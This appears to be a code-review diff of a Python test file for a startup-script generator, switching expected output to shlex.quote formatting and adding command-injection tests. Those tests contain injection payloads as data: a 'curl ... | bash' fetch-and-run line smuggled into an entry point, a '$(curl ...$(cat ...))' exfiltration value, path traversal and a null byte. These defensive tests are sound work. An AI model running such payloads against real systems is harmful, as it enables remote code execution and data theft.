@@ -74,8 +74,8 @@ def test_generate_script_content_nodejs_with_env(self):
7474 result = generate_script_content (runtime , entry_point , additional_env )
7575
7676 expected = """#!/bin/bash
77- export NODE_ENV=" production"
78- export PORT=" 3000"
77+ export NODE_ENV=production
78+ export PORT=3000
7979
8080# Start the application
8181exec node server.js
@@ -104,8 +104,8 @@ def test_generate_script_content_python_with_env(self):
104104 result = generate_script_content (runtime , entry_point , additional_env )
105105
106106 expected = """#!/bin/bash
107- export PYTHONPATH=" /app"
108- export DEBUG=" true"
107+ export PYTHONPATH=/app
108+ export DEBUG=true
109109
110110# Start the application
111111exec python main.py
@@ -274,10 +274,10 @@ async def test_generate_startup_script_with_env_vars(self):
274274
275275 assert result == 'bootstrap'
276276
277- # Verify script content includes environment variables
277+ # Verify script content includes environment variables (shlex.quote format)
278278 written_content = '' .join (call .args [0 ] for call in mock_file ().write .call_args_list )
279- assert 'export NODE_ENV=" production" ' in written_content
280- assert 'export PORT=" 8080" ' in written_content
279+ assert 'export NODE_ENV=production' in written_content
280+ assert 'export PORT=8080' in written_content
281281
282282 @pytest .mark .asyncio
283283 async def test_generate_startup_script_entry_point_not_found (self ):
@@ -369,11 +369,11 @@ def test_generate_script_content_environment_variable_escaping(self):
369369
370370 result = generate_script_content (runtime , entry_point , additional_env )
371371
372- # All values should be wrapped in double quotes
373- assert 'export SIMPLE_VAR=" value" ' in result
374- assert 'export VAR_WITH_QUOTES=" value with "quotes"" ' in result
375- assert ' export VAR_WITH_SPACES=" value with spaces"' in result
376- assert ' export VAR_WITH_SPECIAL=" value$with&special*chars"' in result
372+ # shlex.quote() wraps simple values without quotes, and complex values in single quotes
373+ assert 'export SIMPLE_VAR=value' in result
374+ assert 'export VAR_WITH_QUOTES=\' value with "quotes"\' ' in result
375+ assert " export VAR_WITH_SPACES=' value with spaces'" in result
376+ assert " export VAR_WITH_SPECIAL=' value$with&special*chars'" in result
377377
378378 @pytest .mark .asyncio
379379 async def test_generate_startup_script_file_write_error (self ):
@@ -408,3 +408,156 @@ async def test_generate_startup_script_chmod_error(self):
408408 ):
409409 with pytest .raises (OSError , match = 'Permission denied' ):
410410 await generate_startup_script (runtime , entry_point , built_artifacts_path )
411+
412+ """Security tests for command injection vulnerabilities."""
413+
414+ @pytest .mark .asyncio
415+ async def test_entry_point_command_injection_blocked (self ):
416+ """Test that entry_point with command injection attempts is rejected."""
417+ runtime = 'nodejs18.x'
418+ entry_point = 'app.js; curl http://example.com/script.sh | bash'
419+ built_artifacts_path = '/dir/artifacts'
420+
421+ with patch ('os.path.exists' , return_value = True ):
422+ with pytest .raises (ValueError , match = 'Entry point contains invalid characters' ):
423+ await generate_startup_script (runtime , entry_point , built_artifacts_path )
424+
425+ @pytest .mark .asyncio
426+ async def test_entry_point_path_traversal_blocked (self ):
427+ """Test that path traversal in entry_point is rejected."""
428+ runtime = 'nodejs18.x'
429+ entry_point = '../../../system/config'
430+ built_artifacts_path = '/dir/artifacts'
431+
432+ with patch ('os.path.exists' , return_value = True ):
433+ with pytest .raises (
434+ ValueError ,
435+ match = '(Entry point contains invalid characters|Path traversal detected)' ,
436+ ):
437+ await generate_startup_script (runtime , entry_point , built_artifacts_path )
438+
439+ @pytest .mark .asyncio
440+ async def test_env_variable_command_substitution_escaped (self ):
441+ """Test that command substitution in environment variables is properly escaped."""
442+ runtime = 'nodejs18.x'
443+ entry_point = 'app.js'
444+ built_artifacts_path = '/dir/artifacts'
445+ additional_env = {'DB_URL' : '$(curl example.com/data?query=$(cat /path/to/config))' }
446+
447+ mock_file = mock_open ()
448+ mock_stat_result = MagicMock ()
449+ mock_stat_result .st_mode = 0o644
450+
451+ with (
452+ patch ('os.path.exists' , return_value = True ),
453+ patch ('os.path.realpath' , side_effect = lambda x : x ),
454+ patch ('builtins.open' , mock_file ),
455+ patch ('os.stat' , return_value = mock_stat_result ),
456+ patch ('os.chmod' ),
457+ ):
458+ await generate_startup_script (
459+ runtime , entry_point , built_artifacts_path , additional_env = additional_env
460+ )
461+
462+ written_content = '' .join (call .args [0 ] for call in mock_file ().write .call_args_list )
463+ # Single quotes prevent command substitution in bash
464+ assert "'$(curl example.com/data?query=$(cat /path/to/config))'" in written_content
465+ # Ensure it's not in double quotes (which would allow execution)
466+ assert '"$(curl example.com/data?query=$(cat /path/to/config))"' not in written_content
467+
468+ @pytest .mark .asyncio
469+ async def test_env_variable_invalid_key_rejected (self ):
470+ """Test that environment variable keys with invalid characters are rejected."""
471+ runtime = 'nodejs18.x'
472+ entry_point = 'app.js'
473+ built_artifacts_path = '/dir/artifacts'
474+ additional_env = {
475+ 'INVALID-KEY' : 'value' # Hyphens not allowed in POSIX env var names
476+ }
477+
478+ with (
479+ patch ('os.path.exists' , return_value = True ),
480+ patch ('os.path.realpath' , side_effect = lambda x : x ),
481+ ):
482+ with pytest .raises (
483+ ValueError , match = 'Environment variable key must start with a letter'
484+ ):
485+ await generate_startup_script (
486+ runtime , entry_point , built_artifacts_path , additional_env = additional_env
487+ )
488+
489+ @pytest .mark .asyncio
490+ async def test_env_variable_null_byte_rejected (self ):
491+ """Test that environment variable values with null bytes are rejected."""
492+ runtime = 'nodejs18.x'
493+ entry_point = 'app.js'
494+ built_artifacts_path = '/dir/artifacts'
495+ additional_env = {'DB_URL' : 'value\x00 malicious' }
496+
497+ with (
498+ patch ('os.path.exists' , return_value = True ),
499+ patch ('os.path.realpath' , side_effect = lambda x : x ),
500+ ):
501+ with pytest .raises (ValueError , match = 'Environment variable value contains null bytes' ):
502+ await generate_startup_script (
503+ runtime , entry_point , built_artifacts_path , additional_env = additional_env
504+ )
505+
506+ @pytest .mark .asyncio
507+ async def test_valid_entry_point_accepted (self ):
508+ """Test that valid entry_point values are accepted."""
509+ runtime = 'nodejs18.x'
510+ entry_points = [
511+ 'app.js' ,
512+ 'src/app.js' ,
513+ 'dist/server.js' ,
514+ 'app-server.js' ,
515+ 'app_server.js' ,
516+ './app.js' ,
517+ ]
518+ built_artifacts_path = '/dir/artifacts'
519+
520+ mock_file = mock_open ()
521+ mock_stat_result = MagicMock ()
522+ mock_stat_result .st_mode = 0o644
523+
524+ for entry_point in entry_points :
525+ with (
526+ patch ('os.path.exists' , return_value = True ),
527+ patch ('builtins.open' , mock_file ),
528+ patch ('os.stat' , return_value = mock_stat_result ),
529+ patch ('os.chmod' ),
530+ patch ('os.path.realpath' , side_effect = lambda x : x ),
531+ ):
532+ result = await generate_startup_script (runtime , entry_point , built_artifacts_path )
533+ assert result == 'bootstrap'
534+
535+ @pytest .mark .asyncio
536+ async def test_valid_env_variables_accepted (self ):
537+ """Test that valid environment variables are accepted."""
538+ runtime = 'nodejs18.x'
539+ entry_point = 'app.js'
540+ built_artifacts_path = '/dir/artifacts'
541+ additional_env = {
542+ 'NODE_ENV' : 'production' ,
543+ 'PORT' : '3000' ,
544+ 'DB_HOST' : 'localhost' ,
545+ '_PRIVATE_VAR' : 'value' ,
546+ 'VAR123' : 'value' ,
547+ }
548+
549+ mock_file = mock_open ()
550+ mock_stat_result = MagicMock ()
551+ mock_stat_result .st_mode = 0o644
552+
553+ with (
554+ patch ('os.path.exists' , return_value = True ),
555+ patch ('os.path.realpath' , side_effect = lambda x : x ),
556+ patch ('builtins.open' , mock_file ),
557+ patch ('os.stat' , return_value = mock_stat_result ),
558+ patch ('os.chmod' ),
559+ ):
560+ result = await generate_startup_script (
561+ runtime , entry_point , built_artifacts_path , additional_env = additional_env
562+ )
563+ assert result == 'bootstrap'
0 commit comments